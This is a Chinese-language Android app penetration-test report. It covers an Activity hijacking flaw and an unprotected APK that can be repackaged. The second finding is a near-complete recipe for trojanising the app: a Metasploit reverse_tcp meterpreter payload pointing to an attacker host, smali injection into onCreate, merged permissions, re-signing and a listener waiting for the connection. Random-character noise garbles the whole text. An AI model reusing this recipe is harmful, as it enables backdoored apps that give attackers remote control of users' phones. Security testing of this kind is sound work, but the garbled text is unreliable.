原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

( Q$ O$ P3 m# }8 e% j V- X
" `; r9 @6 H) K

2 q( ^7 D9 G+ O' Z, ` , s" }% ~% b2 E8 O

5 L7 A4 i2 x) U 文档编号：                4 M0 q3 y4 ]- v( q: d' C

( I6 {+ n9 |; P0 i: y9 j6 L # i9 N# t5 ^. y* n5 J ^8 f

; B6 ^/ l( F# V% K. b. S) E   ! B3 F$ }% R- N) y, U x3 }, }" C ; G5 ?1 T3 N' _, G) [

- E: D( M( o, K8 ?4 y+ r5 p  

6 c; |& p; c- V4 C9 C   % |- r: \2 A ?# U! u! g8 {6 @

  0 |5 q9 z% {: [) S

0 y$ h, d% q( t3 W/ T! |

6 H6 ^* a& s3 P u3 ] : `3 q) ~8 a$ N& ?# K. ?2 j" T1 b   6 w3 o, Y }7 ?" g ! j* a& g" Y. W% Y/ Y

1 H5 x# { R# ]/ n j! `- X; |3 h0 r

Y J- Q8 Z/ j0 X, k3 Q0 U ) X$ K) p3 n( V( M 某某某APP渗透测试

, }$ N$ x! l' I; J4 J ) j" ?9 v& x7 t! J+ J1 U9 q

8 D6 L6 R, q+ [4 `   / a9 C; D _; Y" K7 C7 C 8 _8 a! I/ {0 C2 `

5 y; U5 {7 c+ m9 B) Y& U

  2 H* T" v5 E: O8 w

+ ~. B% I0 b8 n; p   ( V3 h W8 o( p3 z3 ?* y + [+ o' ?$ N' v

! F- I$ l+ x; T& h2 l+ h; z $ w1 R m& Q6 }5 Z

  / ^ l+ z' [ O( Q1 M9 j. r

. }* O- A, p* r- |( S- P: }; W

9 G! X `- m3 v# f- ` 技 术 报 告 5 v8 |3 \, _9 D; F5 n, g8 k ) |3 d8 f3 C$ N, U3 V6 B

. X) V3 X7 i5 F3 u9 w2 I- d1 ~' K 5 Y) j& Q. G' t y: I

8 q& u2 D$ f7 @; B! v# e   + t- h8 J- k/ @8 @$ {- K3 Q 1 B3 O5 P" P9 Q4 M

' H. ], Q5 A2 q4 |- k) j2 L( d& \

, p9 g, h. y8 S& m6 [& ]9 } ' e$ G7 X6 w/ k8 D) X8 \- s  

' [2 Y1 O3 ^# c$ ` % D) L- G/ r( W/ v& V8 K4 ^& P

( M0 | I; x3 [: I7 y8 E: D  

# H; ^' A& c+ A- X   % ?# Q3 X3 |% M& g , B5 j$ e6 \2 e. O

; i$ n# h* j- V# ?# V5 ? ( ~4 B9 f/ Q5 @ k. k) |3 V

& Q) y' P( m6 _+ K4 Q 6 T6 \6 x. X; \3 O7 v) V" U   8 X- b% F/ \% P) Q * `/ `7 B. s5 Y& p

. _# J7 s1 _: q+ z( Y1 T/ X

  5 g f. t: m; b4 G8 Z. l/ S

* X# W) d$ m# U0 X 5 P/ J3 G$ X: \9 e( Y, ]* s

k- Q$ S6 @& @3 P; H- J# {' o! g  

2 v1 @) L7 a) j- \$ Q4 ?* B. t

3 y: ?1 }* h; l) D2 j) T & \0 w' F1 {: j   & {$ W: R: M ]3 {8 m4 s- S1 ]' o

8 I. Y& H, T- ?4 b7 ~- \

% M& f) b/ k, ?/ ^, t q' G0 X( s& i6 A5 E  

# W% ^( @1 U4 T) ?1 _

! u$ J3 {! u- t- z   9 m# g6 m7 F; }3 o+ q0 Y" E

4 C, W% t4 H: T ! y) Q- f. ?/ o0 t2 ]* N: k- z

  4 F1 j. v. D% { v! s

' ~ T3 o5 p% t; w 7 U) J; W! u7 r( W  

, o. M3 k0 f& t' D2 L3 w* K# j! V

( ?1 L# @ C6 A' ` 7 b$ j1 m/ Q, w4 h0 E   ( |( H7 T0 |+ z" s) x; r7 s

% }; H! t* n' @* [1 i ( ]$ R6 v; F) N9 }# g

% v2 h9 r* W+ z: O( n& F* T$ _& s   , |. S9 D# X+ C" K, k

5 L$ W. N' y4 g: P& V & {7 W% q* q4 t9 y% A+ U/ F

  0 m& ]3 F$ Z6 A+ I; l! _( N2 f( R7 b

& Z/ |8 T! ~, C+ }  

5 `' A7 o D k, G

 

- A& V7 Y/ v! x" ~0 M" M

( |6 w5 o @4 [1 b' G" D  

) L: L' Q; \: S( o' k ) ~$ C H! |# C8 G% A. m7 m- k2 f

0 S" V! m; f4 `) O; A* T# U " f0 G* k2 I* s9 {% w# x; b) o 二〇二〇年 : f3 c* @4 u# ]$ X/ [

* F8 I( [/ B8 I# A , E; c) H' q% ?0 W+ q9 M9 p; R, @. o4 b

7 u% T$ z( l4 |( t& C
+ m0 X% @+ }' i7 J+ h

/ b4 w R$ G$ g3 @3 k. C& t# J 0 y: O3 `, g0 {+ a5 t3 q. M
# [" ?3 n; C9 O7 q 4 C- k6 b$ }& `* D4 I , F6 F9 o3 h+ O$ ?( g

4 F' C- \( c% y2 w0 B% J% p

* L, v+ G! c3 {& {! | + Z8 W) z/ b9 ]3 g0 Q: H s1 T* a 目 录 / e8 Q3 \! K1 j" L; w* k5 u " s' |' S7 ~. L1 S: `

( R+ D4 U+ h0 \. R% ~ 0 y9 n- V, P" v" P& c* _/ D5 U$ K 7 c+ H( O* X* l# P' F7 L" j

; `: M/ Q" H7 L5 r( K& l   . f9 \' K! `5 B2 f3 H R0 w' q+ K& r

$ O$ s& [! P+ _: L

2 A0 U& [9 ?* n+ i9 E _! m0 p $ F4 T: z( e5 F6 t/ A5 f 1 概述... 3

" e% c$ h: O7 j O" E0 H8 w

$ g5 G. z6 A; ^* v2 A 1.2测试时间... 3

$ y) P! Z6 {, @: I$ m# \ * d2 y; Z8 k; s% g8 m 1.3测试对象... 3 - a9 ~7 H# F* g+ C, z0 s

1 d( K+ e7 C) ?7 K' f) z& C

$ j W5 C' [9 c2 e 1.4测试结果... 3 9 F5 L+ S$ M! Y, s

! L, q0 K$ z4 o& z

2 检测结果... 4 " a: |) }5 S% X q+ ]+ e

! A( @' M! R% j9 }$ y# k' z+ L

2.1 某某某... 4 5 q7 }7 N% G: Q1 x b O

/ s; h2 j% U) R" w+ i2 n$ l# b1 o 2.1.1检测目标... 4 ( W. A$ m+ i8 N+ P

5 {: }' y' Y/ o/ R S; K3 G/ d2 [

. s# y+ j* W8 h4 i( E7 O, Q & d& J- ?1 t+ V: [ 2.1.2检测结果... 4 6 _+ I! x0 r! Y8 x# d/ K

$ ]9 n' }* u% L' N& q/ E. f

% y1 |1 f! n& g( S; D 2 w5 k+ X' F: y/ X( b( C5 J 2.1.2.1. 4 7 r7 ~+ R, g! C9 a' I b7 \/ z4 Y* l * ]6 }/ J2 x4 R0 ?$ ~9 Q

, s7 D' Y! u% j9 H# g% n( B

, {' F* Y7 T3 `* r 0 N6 g3 A+ j3 g( j* V 2.1.2.2. 6 ; Q) H" r# T0 ~6 ~/ K8 ~

2 H: Z5 W0 N* E

6 T, L7 K0 A$ E 3 P; Q8 ]% |, X/ q9 V

7 N( f- t) {: O " A6 J2 M/ B7 t- `8 N" S

, O% B& P! Y# N , R- X H' `+ U3 p* p) x: G% B
2 |: ~' w! W4 G; n: p+ ^" e& Q 2 W( D7 Z" N) q0 g7 F 2 D- h( ]; \. W& y1 e: o & j+ S+ O$ K: ?, w1 P* h

' {. G* P. {) m! W0 _9 J. x7 u 1 概述 . {- E, [; L2 s' {: b* i) U

8 t/ o, n- _$ Z( e% a" W; |

' m1 Z- e) [' t* { 1.2测试时间

} T' Q/ v& N; J: }6 t! n' a1 q 4 [' K% @( U* W8 Q* d7 \' g! W1 J- Q6 e* h& K+ ?0 r$ Z: Y/ P$ g6 i4 S8 L* t0 P" V+ z: d+ p/ V& [( M8 P+ ~: A, H1 U7 x+ w; a3 @* E9 `; N- n- r, b, `4 F4 I+ ~9 P* S7 c. ]6 X. F4 V6 f' p/ V& w4 Q, `* ?' G% t' _3 A/ H( t7 y/ B B* Z" ]/ y3 p3 g' A K9 t# M% ^1 N) j+ ]( E r# ]- P* G# {, s4 }1 z" B" p4 I5 i2 O# X- I/ o" J/ T" j- H) j2 C9 d; A( |+ j7 Z. U) O( O0 V, `4 H- Y3 C& S2 b2 [6 O' X# C: t; `9 Z( d# L+ W

渗透测试时间 , v( ?- ^+ `4 q& p. U* Y 8 m. N) Y" L/ b5 u $ t9 z) h5 b+ b$ y * U, Y, L+ |+ u4 o0 P8 j K. j
i- b# j+ C: M" D3 f& v3 E : O: c4 s4 g4 D4 A& C% y' B 8 P b1 K, }2 a 起始时间 ( a7 X7 L9 S9 z5 J' K& i	* W! a! ^& V8 X1 S0 g - ?8 H+ ^, ?+ {( v' D9 d6 ? 3 T' n1 n }8 S4 Z. W 2020年4月6日 9 ?& R! ]5 T, K! M
- r. d; K' i$ y 结束时间 % U- A2 }0 C% S! t% ^ & F$ W9 {* N" w9 T* o 6 o* ` b( a) ^! X2 O	5 L9 `7 E ^% X( X8 P* h# Z% v2 g 4 d* U+ j) ^4 ~( N% l 2020年4月9日

6 A: `$ A* g Z* f1 |

" h4 i: S- i6 J$ [: F 1.3测试对象 - w: G5 B- J2 l- e1 f h- M

5 V' h# F4 O9 {. X% h) [ , y- \5 L8 ~7 z5 a

) R( }, \3 v" A 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 8 Y. D9 v/ a3 {! z1 h

. C' c: b2 c! |+ @* u

- F' K+ v2 ?3 W+ M, I. V) u0 g& N, @ 表1-1 检测对象

( J! K; i% }/ @8 s! r 1 d8 ^4 D2 \( l( i4 M& G$ i" r/ u4 v; @. _$ D- G) k* V* `9 n$ }' i( n3 ~/ h: t8 ?! k3 n6 V" d: ^1 m7 S2 p3 _; U4 f/ [5 D+ F$ U. w/ c9 {9 y5 D% W0 g5 i2 \" N: K# i k; T7 ~+ U7 I0 p7 K) l5 q9 W+ T0 Y0 P$ W( ^$ a: d+ X0 V( s9 g' C# h m. v% r* O" z& b1 \& }& b! n# J9 F( U5 N; O. p1 b4 e2 `# w% N4 A$ z! X' p+ Y

I4 ~, F; V) g9 U' T0 Q: m) U% V/ e# Q , T$ S8 [8 M8 c, S( o 序号 6 @9 o# T. k* ]& n( C( N, c* o 8 m1 Y, ~+ {: u; ~	/ l6 F, i6 ^" q* B# E( _; Z5 ^; h 测试对象 , m, m6 G" B8 Y$ n& b) x 5 {6 }0 ~1 S# @	5 H0 @3 b' {* g, n' p 6 D' T% K; w1 v. [ " a) c# ^: L7 R+ e+ F& E) V 测试地址 2 R. @9 A. W' F 5 h7 h; Y8 r0 T$ | 7 g6 h" m8 w9 g9 S0 Z % s$ p7 m- C8 O	$ ~! r2 S' g( Q 8 d N9 W9 w9 G0 G8 }# ?; c 安全漏洞 + b/ y, }6 q, a& F . b- ^0 }1 S e1 O$ m, B , v, v) C( \. d( x6 |& j - ~; c4 I9 [. Y2 w
* O5 h2 K* \: q! u* v 0 z3 ?; ^1 f& Z" l' `! E% A' D 1 J$ j8 D: q' t+ O0 H+ u9 y7 b 1 + B6 ?3 n: k9 H. X : O. v1 P: w7 z; v ~ : @, ~7 A. U' C, R) g# k0 i' P% \- X	6 g4 ^ j8 _4 R( G 某某某安卓APP 7 R5 L1 g) h9 ]+ D$ n0 {' Q+ m" ^ . ~/ r. ?- g0 a$ k	: j; L, Q: c. r5 S; s & l% |& ^* H* ~8 q; i- C. `) c" i   ; z9 k- P6 S& B8 d& C	5 Y) s: J2 L" ?0 h" v : [" Z/ |: K& R3 b - i7 n- \. J6 M3 C8 v, O3 w 2 # p# f0 F+ ^( ~- i! O- R, T

9 _. D: i0 B( R; _1 ?- i# s) [

3 j, a4 ^' L. } 1.4测试结果

F: F4 L0 L) J0 T 6 e8 U4 x: w) g$ ^ `

! _8 X3 T. M1 U: {* ^' K8 V) Q( G 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

  4 I6 X9 H& \% D% @# x8 g7 U- Z

. t9 Y% W# r$ S6 z: S 9 g& p" V4 N$ |7 t9 Q( d

( F4 o9 c7 h5 U: P4 r; c8 p - w1 x" @/ _9 f ( O, a* G9 u! l9 \5 B, b9 I: m( O( y. Z% Y$ |& M y" o8 z2 P& B* b- g. Y2 _% k2 f; q# @: u5 T9 P F! Z% m% g c3 W) h* Z: N% \% @5 O8 s7 x0 F i0 o5 D* B, e4 r6 J5 h6 [: Q6 l9 n; Q( O: N0 \) D2 \6 b9 b, R3 f# c/ R; ]; l' v4 V+ u' Y& N$ [' @: r- P6 B2 M' _4 {/ G- t2 {# X' E3 O& O, y0 X* ^# X7 Q& q. k4 I A- L2 N2 d7 }/ M4 n1 h- E2 [ H) W9 D) ~/ U2 [* E+ J% X4 l. P" a1 i+ {5 w- P1 d p8 ]* W# ]2 J$ ^! E3 m2 E; W4 r$ [$ G3 I+ S( g2 p& L7 J) t9 R9 b& c1 ?, @1 Q. y) j4 ~4 |* z5 h. x$ \& |1 p4 @ R3 r; d; {. ` ^ J. k( v% J. Q6 x1 U! a/ |: a) Z; J% Y2 g( Z) B ^! A# P; u

! T5 L* R' S' z/ b ~+ Z; X P / C( O2 v( y. Q1 k8 k 序号 % X3 }9 {' J. H1 I' j; ~* z ) \1 r! Q4 Z( c2 w	8 Q6 e6 R/ j! p: T & R; @, x" P: ? + {& X- a1 N# [1 q. K# | 系统名称 3 Y+ E( e! f, I ' R2 h6 m# E. P % \ F( H& @0 h H	漏洞名称 5 n& `0 D1 n: v4 ~( ?# a ( ?9 `& o9 D8 ]. t. o; m 4 O' s. H, B' J/ G	! t7 c- ~! ~* Z$ } . H" F2 c, D! w' h4 e" a/ B 漏洞危害 3 O8 T; }3 C' {. b A; y 2 L, V( H% x+ E3 ?5 T& X9 u ( r$ `" v1 |# T# U	修复结果 0 {: q. n" O6 C9 t) I 5 H% E$ j& L1 R& d. E. M
* k4 d, y, b L! l 1 ! W! J! ?; w0 B8 i: {! J7 n* n+ H	' j. a# M3 q7 X" A8 @ % p, _- l$ E' m | 某某某某某某APP 6 Q; _0 D9 e+ b0 s Y: { 3 Y4 V, O" T$ ?: N2 V	: M1 |0 Q- g' k: ], q0 H Activity 劫持 # q5 s0 [% t/ u' H e: K ; N" C) X1 o/ v: v9 h7 E 6 Y5 g+ Y3 x* i. l w% d   7 U+ k* P4 M' {) {( v% k+ b	0 D- t: X. m' [' n$ Z 3 [, Z3 E! u' t% O& q9 w 高 6 f! [# ], X- ^# [& O ( B; h; j! c4 Z. M( t" {	2 J" ^: e. T3 R3 g # z. x* y, X) l$ m   7 ?$ X: V4 }! M v/ o. C6 A0 u0 r 5 _- d* k. B9 p6 ?# Z( i# w
; L/ C2 f }. j7 O1 w! w$ V - x$ a9 X* b _ y. ` 2 9 M, l5 n/ Y, ^8 Z, Y " |4 Y, M, V; c( N$ G9 K# i7 ` @ * k/ I$ S, Y& `) B- {8 N! q/ N	# D( F( ^0 ~+ |% H$ U6 p U0 } ( ?2 J/ O% ~3 l 某某某某某某APP 7 h' v& `, S5 q: A9 Y5 v	( n# I. p5 u R* w3 a 8 W8 A3 f0 Q% _$ B # U- U8 v( U$ |8 W5 B 反编译二次打包捆绑木马、篡改APP代码 0 D. c! O: W) t6 _ / L G7 D9 n& u1 t5 Y7 b3 |	: O# t- y( L$ ?" D _, i 8 n& O8 [" x$ b" F: q3 w 4 y& C& d$ [& m7 T7 B) q 高 1 F. J+ Y# X+ I+ o" X / h4 ^8 A# S5 _" ?	6 g) z/ t& t% w4 l, ^6 i* D, R ) w% y" |: `) Y: @8 w" y5 I( D8 \

: c# w+ x& C; Z& t6 o* q ' G/ _, p) x: D0 C% b6 X

1 b2 f' v4 v8 h$ g% ?' m3 ~) H 5 A2 y4 C% k1 b/ Q- T7 B

2 r3 T2 V$ ^! h+ r1 X! ^2 c; f * [, Z" R/ y# S1 H8 l, D) }! A   & b6 I& n' |* t9 k3 Y- E/ S 6 x0 }6 Z4 C0 O- M

3 t9 h$ j- L9 ~5 M

6 ?; e/ k! @ i 表1-2 测试结果

; L+ B& v: H9 E. p8 Q% a3 K8 J, Z  

- U- _4 w8 X' N5 O$ T- F 8 p7 l& y# T+ U0 q

3 V- X- N; S" K; [% b 2 检测结果                    ; n- |3 F( N3 O5 Q8 m( n

- u5 J8 L+ W- q% a7 i6 r! f 2.1 某某某 . z& E" d: x8 Z/ _% n1 k 0 C8 }2 K+ ~0 c9 p" A

. }" f r( Z+ `$ c4 @. s

6 s# o3 X( M3 V( s' B 2.1.1检测目标 : ]6 t) v a& m( R ) C! l( V* y) c+ W# S6 a- ]

7 W. C. `- \5 v6 }5 G' O# F 目标地址： 某某某某某某APP . A; O- u, s) J- l0 S& V

1 Q" x5 O" c/ X% ?

2.1.2检测结果

1 \* w' |+ p, P * W& D1 e4 s. E

, W0 M8 l! B- T9 N( P, z 2.1.2.1 , {2 o5 z1 I' f3 t( v1 d . N8 x, U9 D# I# c6 t, M

. Y, W2 [9 \& Q( I5 w) A

漏洞链接地址：某某某某某某APP 7 {2 r% G: k) l

& z7 w9 U$ g0 X7 z- J

9 E- O9 g) L7 ~: i/ W   W! s! J& ^% G

! @3 b) Y1 |1 j) J' H+ ] t 漏洞分析及取证： * d+ [" D% h `' O! N, I

; Z" R6 u; Y% z" e B/ q9 g' R- \# m# t6 y( s

1 ]8 E8 s* }4 J 8 j% a0 p5 J- \" l( B8 q# O, ?& F8 f                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

     : S; [! R; V/ c, p6 j8 {# Y3 F

8 k& q' v0 `/ z( K- k5 P

3 N C+ y/ m& ^2 |- H! b4 l8 u                      

Q6 j9 l' r8 z+ j

6 h4 Y" q0 Y6 w7 P" k 7 h" G w, K2 D6 m, B( V

0 I* f1 f3 a1 z

1 D6 B# @+ J3 g' ^$ H: _$ U! Y ) r+ H4 }3 f7 _3 o

7 O" Z8 z1 N/ e" ` c8 v7 K 8 S, P6 \! B+ K9 ^

d/ A! v/ e6 S, Q 3 C: X+ H/ o/ \; D p

$ i+ J3 }, N' y7 p+ O

漏洞危害：高

* Q9 ^' |& i2 A# W ' r1 \! k0 [- V : P2 L# W' i1 W: D, m6 r2 {2 g+ g$ H) u1 @+ C1 E# [$ p4 p, O ]+ _' A6 F: M0 G) |* a3 ]$ [/ s$ T- ~: w6 i, ] k7 z# u/ n1 D6 ?! G+ }0 g" m/ Q, }5 x- Y, X" V5 ^1 ?4 r; _% ` E3 A+ `5 \0 a u6 c0 D% R0 h. [" i* c. v- ]4 @( }' [+ O3 K- O- M2 O! ~6 ~+ Y! K* n; R; f* c) m- V* l r% m1 p# O4 X( O5 C

& `# ~6 W X. |( t/ V, d: t 6 L8 |2 g: J8 F; F& P2 R+ l$ P % Z3 }2 Y" X- _% z 严重程度 . N8 ]3 x, a7 G6 t1 P w% b/ |+ _ 3 i& G) M$ ?. J6 V8 m! y) `# v& R * w% ?3 T0 P5 @' ~5 s! W $ P1 Z* v/ t2 N9 W, S5 b& P	4 M, _* D) `2 |% U# J 1 l l. I; l( q6 r9 p& E 高 + q& {' P4 K. v4 j& Z8 f2 p - g8 s; r. X+ @0 O	7 o' S6 a8 U( g5 q 1 i( r( R5 C% t( c+ u/ ~ ' P+ o, _" a; o. Z2 m! L, ^ ■ ) ^5 W( @! s! T( D% |( o* g/ E \# X. A 1 r. ^0 A3 G, @% \ 1 G( l) I6 b9 \1 I) @8 A3 e	5 ~" x- v+ C6 k ' K2 h/ n i! x* m 中 ! I( A* T8 n# o/ ~1 a O$ s, C	7 ?+ L; U/ r$ e$ E& a/ c7 P # K5 B. e* C0 s6 D2 M) P+ _   ! @; ~: V a# C; e 2 H( Z0 V: T% i) q! X- w 8 l( ` Y# @* d- q# W	8 V$ D( {* Y- i7 l, H4 u 低 / i- C e G' P: Z# K- } ( {# \& z" }9 H$ g5 |: m* s( m 7 ~; S4 t+ F9 t+ u( n3 a, o: C	& U$ ]) Y7 `0 [6 s; t( Z y; K9 R* {2 H' @1 j4 o5 E Q   q/ f( [" |* @6 u% ]" w0 ] & y6 _1 Z Z% f! h 7 B: e: r9 N' K+ N) r9 P4 v

p/ E- _! E5 o

0 Y8 X% L) c9 E4 m! I1 z

  9 S1 z2 ?: h1 m% ]! C

) r) H m, T7 p

( D4 l- G# l- v) R! i 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

- ^5 {3 X- p. B7 @( ^3 B4 V " N5 d. z3 b! u           2 u8 e) [5 ^8 y : h3 ]) k/ |+ _& ~8 X8 C

# d& y. l2 z. F6 q. z

  ( j s/ M& }- ]8 p2 ? & p, n$ z% |4 J

+ p2 S1 K. n* u 0 S* }( P* @$ I: U+ u 2.1.2.2 4 L& J+ p3 ?6 m 2 w6 V9 \' d& M4 o6 `2 n

漏洞链接地址：某某某某某某APP ; F/ z2 V3 y: u' z$ M2 p) E( F" u

漏洞分析及取证： : W+ ^3 H J: O1 s6 S$ d6 S 3 b+ R; V; x$ ]- R- [7 X

; |- }7 S. d; ~ : O) F/ ~ d/ [

; l7 \5 q; n8 @' C. p& Y0 b                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

9 k8 Y( p' p, z" e 1 k& M( y& j' d; K1 F2 n0 d

用Metasploit 生成木马 apk : f2 [* O4 _) E

3 A T | r6 J7 O6 o2 ^ 8 W9 c' G9 G, d7 ^6 ?

5 R' H0 L9 I' M* L6 G: N" ? + m' Y A+ {/ B. @4 `0 O+ y msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ' S6 B; r! l1 h* s) B

% `1 B! V( ~/ z1 x3 f$ _0 E, D

8 z& I6 d# ~: V) r( T 反编译目标apk和木马apk . \) e# V$ u- _0 ?! \$ Z) t

* G; O: F+ {6 J! R 6 p. c6 @. B6 Y% }; \* H: x

' Y& s! w% c# I( r 8 y; ~3 }1 T9 y apktool d target.apk
7 D1 M4 A' b" j6 K. [3 d4 ]0 _* u 3 p- r) c W# C- h8 ~* p: U8 L apktool d cockhorse.apk ; }; t9 u4 L1 r# [6 { - k" _, y7 [) L- d% v

0 z: A5 d* X5 Q 木马 apk 注入目标 apk # n6 u+ O6 C" `* b( | ; Q4 i0 Z6 l) C! ~3 ~+ l

4 y$ {5 s+ s, W8 d) E( `

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

) S. _- M! I* ?( I' M, L3 u) ?

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 + U' S N+ @" Q, p: ? 3 J% `1 ~ _9 U

& @) A) I3 m/ q; T8 ]' A' {$ ~1 t7 T

: T' X' Y5 _/ U: z8 L$ r1 p3 d 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 5 \" _( X2 X% K0 w

( D' b. C. B, E; P2 a H6 U $ n! a# ~& Q; m5 ~

8 U& l( u2 W# {( R( t$ [ % M* Q! T$ ]: X" Y, H- ]" B 回编译生成最终 apk % B% K- i) P. a9 ?" l/ T

+ h% q, ~. c7 E3 D2 d; Y

重新打包

- v' B0 X: K( |. Q( B apktool b -o repackage.apk target_app_floder ( `) r) ]! O4 ?, n1 ]- E2 g* B2 Q3 r ) k3 A d/ i4 K) r. @6 Q

# H7 }. r" a5 Q* f, W" o 创建签名文件，有的话可忽略此步骤

7 h4 d6 a3 ?4 [( d. H keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                + v+ m$ K4 a8 N5 ^0 ?, ^ " Z: l( Q4 s. L+ _% M

7 B/ {" G3 K" h( }0 j( f7 c 签名，以下任选其一

jarsigner 方式 1 o* Y' A# O2 J# A) G! {( W9 h

6 ^! q3 y' I; w e

) N- C0 s& L6 \, Z; w' x7 E jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname c0 M, a, Q; c, t4 F# m1 h

. K9 B. L$ D* y

5 Y F+ U) U+ h* j8 u7 L, U apksigner 方式 - K& p% w8 Q2 w7 ~, b9 o8 i 5 F% E# a7 N+ d7 o- o

4 H1 N' l* M8 K: O" {% F 7 a* D4 i5 N* T5 @4 ^. K0 [- R+ X* e

1 n; r8 Z2 {+ l + G, F0 `& P/ j& P- I+ A apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk " |' z0 q. O; @" o- ^; c5 c 0 w$ [! I4 ^; i5 o/ W: ], ?$ S* R

% |; J8 N: x, | 如需要禁用 v2签名 添加选项--v2-signing-enabled false 7 F" t9 J3 A8 {7 ~5 j- m

+ F3 m: l9 y! }& u: ~4 k

# h: [1 ^- O7 J/ ?7 a, \9 h 验证，以下任选其一

% d' y8 H( t- h- {- w) k9 U

; J7 l& _5 i8 n p6 D+ G jarsigner方式 7 r: R+ N4 H% f4 ?" W 3 E2 X; d: P$ F7 a( x( H

3 g0 O2 I- q! ~) M" e 9 Z0 j* p* {% I$ G0 ^1 c

- ^) q) ] _1 Z/ w jarsigner -verify repackaged.apk ! Z! G) N4 [# h) b$ Q/ F8 ]

+ v$ c2 J7 t$ r4 D7 x $ `# M9 R {6 [' Y7 j$ i% P

+ l1 z" a" G/ p+ [" F" @ apksigner 方式 6 d' r) x5 ^- @$ u+ A: V7 d, g

* v' i7 c% I% H% P2 A

& ~! a1 t! T0 X: g! e8 ^+ C: F & @5 ]6 M; A* i% r- E( b' r' L apksigner verify -v --print-certs repackaged.apk q. E& n" d: r; L( z $ S: V: R0 \" P2 X; c; K6 y6 e

. i- y: ~( V, T4 U4 z2 X ' K/ s7 d* G5 I' h' w6 X

: q+ Q; r9 r( ?6 F& T keytool方式 , {1 j6 w: |1 T: o : ^4 F- O; t2 }9 u0 B' X

( b6 i6 f+ a6 T * M) m w* @) m# o keytool -printcert -jarfile repackaged.apk ( \9 U5 i! G7 w* i: s& m8 d$ r) } : @6 R8 h) b8 K/ d5 S( y) E

1 L! V! Q$ z7 T9 d 4 K5 d4 G. v8 \( o

对齐

" @3 E7 W2 e1 l1 b % `% ?" o7 I+ x' i3 B' |

* {1 F' _0 }# @) l$ i8 u ( e$ d2 Z" ?$ J ^2 W 字节对齐优化 ! ^" h+ B; h# X0 g/ \+ t . [6 u1 } v; b8 A/ y* D0 m

6 K! ?9 Q7 y" i Z1 p" C; U e

; {0 g2 ]0 x0 M zipalign -v 4 repackaged.apk final.apk # H" t4 B; n5 I

$ [2 N/ [8 e: w' C4 e) T: q ! P& `$ W) ^% R# [* d7 `/ ?( |

! N% a6 s. g4 n1 ~) ]5 k, x. k3 A 检查是否对齐

- T8 `! U& h; `0 i4 d$ p- e 2 O0 S2 b; U0 h/ d% E2 D; [7 J0 w

& \+ U: N7 {( C0 ]) F* E6 O zipalign -c -v 4 final.apk - f/ i( d }$ u& w

: M4 l/ _9 F3 _ 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 , q: B& X4 \) U" Q8 x

. f/ m) @/ Z' F$ c 启动Metasploit控制台，配置参数等待上线 / E, L* O+ ]9 z+ w6 A

# {/ n) E8 F0 f$ _3 X S1 d

在终端依次输入如下命令 / z! g* }3 H& U; p& B! U; s Y

2 m. t4 b# v; W9 o 8 k; r0 `( _0 u; d/ f

msfconsole " u, y C1 g. [. i) a1 c! g

* X6 ~: }! B6 v) o) } 6 w" Q F( d! w0 I9 R

' H) n6 W2 E% n% ? use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

3 Z4 h! _- |; j 1 o) y# q# f$ w) L

$ G# n- s1 X# X% |& K5 N+ h s set LHOST 192.xxx.xx.xx / b. N% y+ j0 J1 R3 k& ?

0 m3 y( f3 _) M7 S7 d: Y# B+ e/ T! R

1 b3 X0 E% ~) }$ K5 W set LPORT 4444

9 }4 t7 _5 e# M0 M5 V3 N1 l6 I6 K

* z0 {+ N. h# i3 }: @ exploit

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ( J0 D" v* h* A% m ^ a

3 j8 n" N* t5 a/ U$ z* Q

3 U5 @$ d$ ~# n4 X 1 X; s: c: U0 h e { 漏洞危害：中 " `3 A5 l* F5 q5 |7 m$ n7 [# w + R1 y0 U j) D! L9 b. T2 x$ N

# l8 I3 V. [3 A2 j* e' E

- e- `; U4 P0 G, y$ _1 ] y . G7 T4 |9 T4 D3 K( b . z @' T) b; H4 S+ L$ H" J ! A8 D5 g J1 v) n& J1 p9 f* R3 Z' s0 f# k; v7 z/ C: ~/ K; v$ P- s, y2 V8 P4 y) }8 N% u2 G+ l" t9 v( S% S. R( r/ u* j% L5 E, f7 b! @9 K4 M& u" e- x$ r* @3 q2 y; |* j+ V- x, l) O/ v$ U' C# L" j3 U* Z, e# q) l6 M" r: K" \3 f7 g" K/ Y" Q G( x4 \& t

